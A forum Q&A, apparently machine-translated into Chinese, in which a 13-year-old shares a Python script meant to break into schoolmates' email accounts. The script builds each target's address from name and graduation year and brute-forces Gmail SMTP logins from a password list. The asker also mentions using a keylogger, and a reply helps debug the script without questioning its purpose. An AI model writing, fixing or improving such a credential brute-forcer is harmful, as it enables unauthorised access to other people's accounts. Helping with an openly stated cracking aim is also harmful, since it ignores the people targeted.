Python SMTP 未登录

Python SMTP not logging in

在我们开始之前,我不得不说我对 Python 很陌生。如果我做了一些愚蠢的错误,那是有道理的,但我想我现在应该明白了。我今年 13 岁,这是我的第一语言。我已经学习了 Python 基础知识 Youtube 教程,但仍然缺少大量经验和技巧。

话不多说,言归正传。我目前正在编写一个脚本,理论上应该可以破解学校电子邮件帐户。它们的格式都相同:FIRST.LAST.GRAD@mySchool.org。我真的没有理由这样做,这似乎令人兴奋。这是我的代码:

FIRSTNAME = input("Target's first name: ")
LASTNAME = input("Target's last name: ")

try:
    GRADYEAR = int(input("Target's graduation year: "))
except ValueError:
    print("\nPlease enter a number.")
    exit()

username = str(FIRSTNAME.lower()) + '.' + str(LASTNAME.lower()) + '.' + str(GRADYEAR) + '@mySchool.org'
username = username.strip()
print('''
Email: %s
''' % username)
passwfile = input("Enter the password file name: ")
if passwfile == "":
    passwfile = "180-185.lst" # My default file
passwfile = open(passwfile, "r")


import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()



ExitLoop = False

for password in passwfile:
    password = "{}{}".format(str(password.strip()),LASTNAME.lower())
    try:
        try:
            smtpserver.login(username,password)
            response = "\n[+] Password Found %s" % password
            break;

        except UnicodeEncodeError:
            response = 'UNICODE ERROR\n'

    except smtplib.SMTPAuthenticationError:
        response = "[!] Password Incorrect or App Security Issue: %s" % password

    except smtplib.SMTPServerDisconnected:
        response = "\nUh oh! The server disconnected you!"
        ExitLoop = True

    finally:
        print(response.strip())
        if ExitLoop == True:
            break;

input("\nPRESS ENTER TO CONTINUE")

TL;DR: 基本上要求目标的信息并相应地格式化。然后对于我单独列表中的每个潜在密码,它都会尝试使用该信息登录(暴力破解)。

我知道 Google 的相对较新的安全功能,除非您特别 allow less secure apps to access your account,否则这些功能会阻止这种暴力破解方法。这不会成为问题,因为我实际上不需要对任何人使用它(如果我这样做,我只会使用键盘记录器)。请理解,我不是在寻求 "Why does it have a long gibberish error full of Google crap?" 的解决方案。不管出于什么原因,当我自己尝试这个时,它不起作用。我真的不明白我做错了什么。

主要问题: 当我在自己身上 运行 这个脚本时,假设我输入了这个信息:

Target's first name: "Adler"
Target's last name: "Weber"
Target's graduation year: 2016 [ignore the fact that I'm not a senior]

Email: adler.weber.2016@mySchool.org

Enter the password file name: ""

*Starts for loop...*

[!] Password Incorrect or App Security Issue: 000000weber

但那是我的密码!它只是跳过正确的行并继续尝试列表中的其他行。我不明白我做错了什么......有人能弄清楚我的脚本有什么问题吗?

我还有一个问题,经过一段时间的不断尝试,Google 断开了我与他们的 SMTP 服务器的连接。有解决方法吗?每次都在我的 for 循环内连接会有帮助吗?相反,我敢肯定它会导致巨大的滞后。

顺便说一句,我知道我的程序中有所有额外的代码,但我还没有清理它们。

我调整了您的示例,自己使用了它,并成功登录到(不同的)电子邮件服务器。我能得出的唯一结论是您没有使用正确的凭据登录(或者您可能因多次错误密码尝试而被锁定)

按顺序尝试以下步骤(仅当该步骤成功时才继续):

  1. 验证您可以使用这些凭据登录,而无需使用程序。

  2. 编写一个更简单的程序,在其中硬编码用户名和密码,并查看它是否可以登录。(不要获取任何用户输入,或读取任何文件 - 只是一个直接登录服务器)

  3. 就在 smtpserver.login(username,password) 行之前,插入以下两行: print([(c, ord(c)) for c in username]) print([(c, ord(c)) for c in password])

验证您传递的字符和序数值(以防字符只是 looks 就像您的用户名或密码中的正确字符。

当您遇到错误时,请始终尝试简化,直到找到能够说明您的问题的最小、最简单的示例。通常您会在此过程中发现您的问题。